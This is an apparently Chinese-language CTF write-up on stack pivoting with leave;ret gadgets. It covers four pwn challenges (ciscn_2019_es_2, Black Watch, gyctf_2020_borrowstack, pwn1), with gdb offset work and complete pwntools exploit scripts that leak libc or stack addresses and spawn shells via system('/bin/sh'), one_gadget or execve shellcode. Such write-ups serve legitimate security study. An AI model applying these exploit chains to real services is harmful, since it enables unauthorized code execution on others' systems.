前言
为什么要栈迁移?
我的理解是由于输入字节的限制,我们没有办法在覆盖返回地址后继续写入我们构造的后门代码让程序执行。那现在怎么办呢,幸好我们有leave ; ret
这两个指令(leave
指令相当于mov esp,ebp ; pop ebp
这两条指令,而执行ret
指令就是pop eip
,eip
是一个指令指针,装的是下一条指令的地址),执行两次leave ; ret
指令可以控制程序的执行流到ebp
指向内存单元,即我们构造的用于拿到shell
的代码地址。
这两张图是两次执行leave ; ret
指令的过程,我觉得师父已经解释得很详细了。


例题
ciscn_2019_es_2
(栈上)
思路
先泄漏一个地址,由于printf
遇见\x00
截断,那么我们恰好填充0x28
个字节,就会把ebp
指向的地址泄漏出来。构造第一个payload = b'a'*0x20+b'b'*0x8
。
payload = b'a'*0x20+b'b'*0x8 p.recvuntil(b'name?\n') p.send(payload)
p.recvuntil(b'bbbbbbbb') ebp = u32(p.recv(4)) print(hex(ebp))
|
这张图大概就是我们要布置的payload
内容 
算出ebp
中的内容(因为泄漏出来的地址并不是ebp
的地址,而是ebp
指向的地址,即ebp
中的内容)距离参数s
的偏移量,gdb
调试。下断点,下在vul
函数,一直n
到read
函数,输入aaaa
正好4
个字节,便于查看
0xffffd044
指向0xffffd050
,我们写入的aaaa
被放到了0xffffd050
这个地址上,而ebp
中放的是0xffffd088
这个地址,0xffffd088 - 0xffffd050 = 0x38
,因此ebp
距离我们写入到s
的位置的偏移量为0x38
。

程序中system
函数的参数不是我们想要的,因此需要我们自己写入/bin/sh
,那么问题又来了,我们怎么知道我们写入的/bin/sh
被放到了哪个地址上?我们可以计算出这个地址到ebp
的偏移量,然后就可以用我们泄漏出来的地址和偏移量去表示这个地址。那怎么计算偏移量呢?我们先构造一个payload = b'aaaa'+p32(system_plt)+p32(0)+p32(0)+b'/bin/sh'
,第二个p32(0)
的位置应该是/bin/sh
的地址,但是我们现在还不知道所以先随便用4
个字节替代。
system_plt = elf.plt['system'] leave_ret_addr = 0x08048562 payload = (b'aaaa'+p32(system_plt)+p32(0)+p32(binsh_addr)+b'/bin/sh').ljust(0x28,b'\x00')
payload += p32(stack_addr)
payload += p32(leave_ret_addr) p.sendline(payload)
|
gdb
调试,先两次finish
跳出两个函数,现在我们来到vul
函数中,一直n
经过两个read
函数,stack 20
查看栈上的内容。这里的0xff911f80
就是存放/bin/sh
的起始地址,0xff911fa8
就是ebp
指向的地址,即我们泄漏出来的地址,计算偏移量为0xff911fa8 - 0xff911f80 = 0x28
,我们用可以ebp - 0x28
表示/bin/sh
的地址。
exp
from pwn import *
p = remote("node5.buuoj.cn",27242)
elf = ELF('./es2') debug(p)
payload = b'a'*0x20+b'b'*0x8 p.recvuntil(b'name?\n') p.send(payload) p.recvuntil(b'bbbbbbbb') ebp = u32(p.recv(4))
binsh_addr = ebp-0x28 stack_addr = ebp-0x38 system_plt = elf.plt['system'] leave_ret_addr = 0x08048562 payload = (b'aaaa'+p32(system_plt)+p32(0)+p32(binsh_addr)+b'/bin/sh').ljust(0x28,b'\x00')
payload += p32(stack_addr)
payload += p32(leave_ret_addr) p.sendline(payload)
p.interactive()
|
拿到flag

[Black Watch 入群题]PWN
(.bss
段)
思路
程序中没有system
函数和/bin/sh
字符串,有write
函数,需要我们字节泄漏libc
地址。

看第二次read
,可以读入0x20(32)
个字节,覆盖buf
需要0x18(24)
个字节,覆盖ebp
需要0x4(4)
个字节,覆盖返回地址需要0x4(4)
个字节,0x20(32)
个字节刚好够用,只能栈迁移了。

现在大致思路就是第一次read
把我们构造的泄漏libc
代码写到.bss
段,其中返回地址为main
函数的地址也就是让我们程序再走一遍。第二次read
覆盖ebp
为.bss
段的地址,覆盖返回地址为leave ; ret
指令的地址。程序跑第二次的时候把我们构造的拿shell
的代码写到.bss
段,第二次read
同上。
exp
from pwn import *
p = remote("node5.buuoj.cn",27419)
elf = ELF('./spwn') libc = ELF('./libc-2.23.so')
write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.sym['main'] payload = b'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.recvuntil(b'name?') p.sendline(payload) p.recvuntil(b'say?') s_addr = 0x0804A300 leave_ret_addr = 0x08048511 payload = b'a'*0x18+p32(s_addr)+p32(leave_ret_addr) p.send(payload)
write_addr=u32(p.recv(4))
base_addr = write_addr-libc.sym['write'] system_addr = base_addr+libc.sym['system'] binsh_addr = base_addr+next(libc.search(b'/bin/sh')) payload = b'aaaa'+p32(system_addr)+p32(0)+p32(binsh_addr) p.recvuntil(b'name?') p.sendline(payload) p.recvuntil(b'say?') payload = b'a'*0x18+p32(s_addr)+p32(leave_ret_addr) p.send(payload)
p.interactive()
|
拿到flag

gyctf_2020_borrowstack
思路
查看保护,只开了NX
保护

分析函数,两次read
第二次是写到.bss
段。第一个read
可以读入0x70(112)
个字节,只能溢出16
个字节,恰好可以覆盖返回地址。
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[96];
setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts(&s); read(0, buf, 0x70uLL); puts("Done!You can check and use your borrow stack now!"); read(0, &bank, 0x100uLL); return 0; }
|
先泄漏libc
,我们要用到栈迁移。第一次read
我们先填充0x60
个字节的垃圾数据,然后ebp
中写入.bss
段的地址(因为我们会把泄漏libc
的payload
写到.bss
段),然后覆盖返回地址为leave ; ret
的地址。
这里有一点需要注意的就是,在写入泄漏地址的代码前要先用ret
指令抬高栈帧(调用puts
函数会开辟新的栈帧,会毁坏.bss
段上面(低地址)的got
表等数据)。
p.recvuntil(b'want') bss_addr = 0x601080 leave_ret = 0x400699 payload = b'a'*0x60+p64(bss_addr)+p64(leave_ret) p.send(payload) p.recvuntil(b'now!')
ret = 0x4004c9 payload = p64(ret)*20 payload += p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']) p.send(payload) p.recvline() puts_addr = u64(p.recv(6).ljust(8,b'\x00')) print('puts_addr -->',hex(puts_addr))
|
然后我本来是想拿到system("/bin/sh")
的地址后,再一次栈溢出,同上。但是一直打不通,后来看wp
都是用one_gadget
做的。

直接在第一次read
时栈溢出,覆盖返回地址为one_gadget
的地址即可。
base_addr = puts_addr-libc.sym['puts'] shell_addr = base_addr+0x4526a payload = b'a'*(0x60+8)+p64(shell_addr) p.send(payload) p.sendline(b'a')
|
因为我们覆盖的是main
函数的返回地址,所以还需要再发送一些数据让执行流执行完第二个read
函数,然后才能执行完mian
函数,跳到我们覆盖的返回地址去执行后门函数。
exp
from pwn import *
p = remote('node5.buuoj.cn',27820)
elf = ELF('./gyctf') libc = ELF('./libc-2.23.so') context.arch ='amd64'
p.recvuntil(b'want') bss_addr = 0x601080 leave_ret = 0x400699 payload = b'a'*0x60+p64(bss_addr)+p64(leave_ret) p.send(payload) p.recvuntil(b'now!')
ret = 0x4004c9 payload = p64(ret)*20 payload += p64(0x400703)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']) p.send(payload) p.recvline() puts_addr = u64(p.recv(6).ljust(8,b'\x00')) print('puts_addr -->',hex(puts_addr))
base_addr = puts_addr-libc.sym['puts'] shell_addr = base_addr+0x4526a payload = b'a'*(0x60+8)+p64(shell_addr) p.send(payload) p.sendline(b'a')
p.interactive()
|
拿到flag

pwn1
学习与收获
通过本题的学习与收获有:
- 溢出一个字节也是溢出,如果只能覆盖
ebp
的一个字节,此时我们要想到栈迁移。且当我们是在main
函数里的再一个函数里的栈帧时,此时已经有2
次leave ; ret
,不需要再写进leave ; ret
。
- 栈迁移中
ret
的时候,我们ret
的是装shellcode
的的地址,而不是shellcode
本身。
- 如果我们需要抬高栈帧,可以填充
ret
指令的地址。
保护
源码分析
有栈溢出漏洞和格式化字符串漏洞


思路
没有开启NX
堆栈不可执行保护,那我们就可以通过执行shellcode
获得flag
。先把shellcode
布置到栈上,然后printf
泄漏一个栈地址通过计算偏移得到shellcode
的地址。
先泄漏一个栈地址
payload = b'%10$p' p.sendline(payload) p.recvuntil(b'following:') p.recv(2) stack = int(p.recv(14),16)
|
又因为有一个栈溢出漏洞,可以覆盖ebp
的最后一个字节,我们可以覆盖为我们布置rop
链的地址的最后一个字节,以进行我们的栈迁移。
f_stack = stack-0x120+0x70 print(hex(f_stack)) one_byte = f_stack&0xff print('one_byte ------>>',one_byte) ret = 0x0000000000401016 payload = p64(ret)*12 payload+= p64(f_stack-8)+shellcode
payload = (payload).ljust(0x100,b'\x00')+p8(one_byte-24)
|
exp
from tools import * p = process('./pwn1') debug(p,0x40140e,0x401327,0x4013ac) context.arch='amd64' elf = ELF('./pwn1')
shellcode = asm(''' mov rdi,0x68732f6e69622f push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx push 0x3b pop rax syscall ''') print(len(shellcode)) p.sendline(str(2)) payload = b'%10$p' p.sendline(payload) p.recvuntil(b'following:') p.recv(2) stack = int(p.recv(14),16) print(hex(stack)) f_stack = stack-0x120+0x70 print(hex(f_stack)) one_byte = f_stack&0xff print('one_byte ------>>',one_byte) p.sendline(str(1)) ret = 0x0000000000401016 payload = (p64(ret)*12+p64(f_stack+16-24)+shellcode).ljust(0x100,b'\x00')+p8(one_byte-0x18) p.sendline(payload)
p.interactive()
|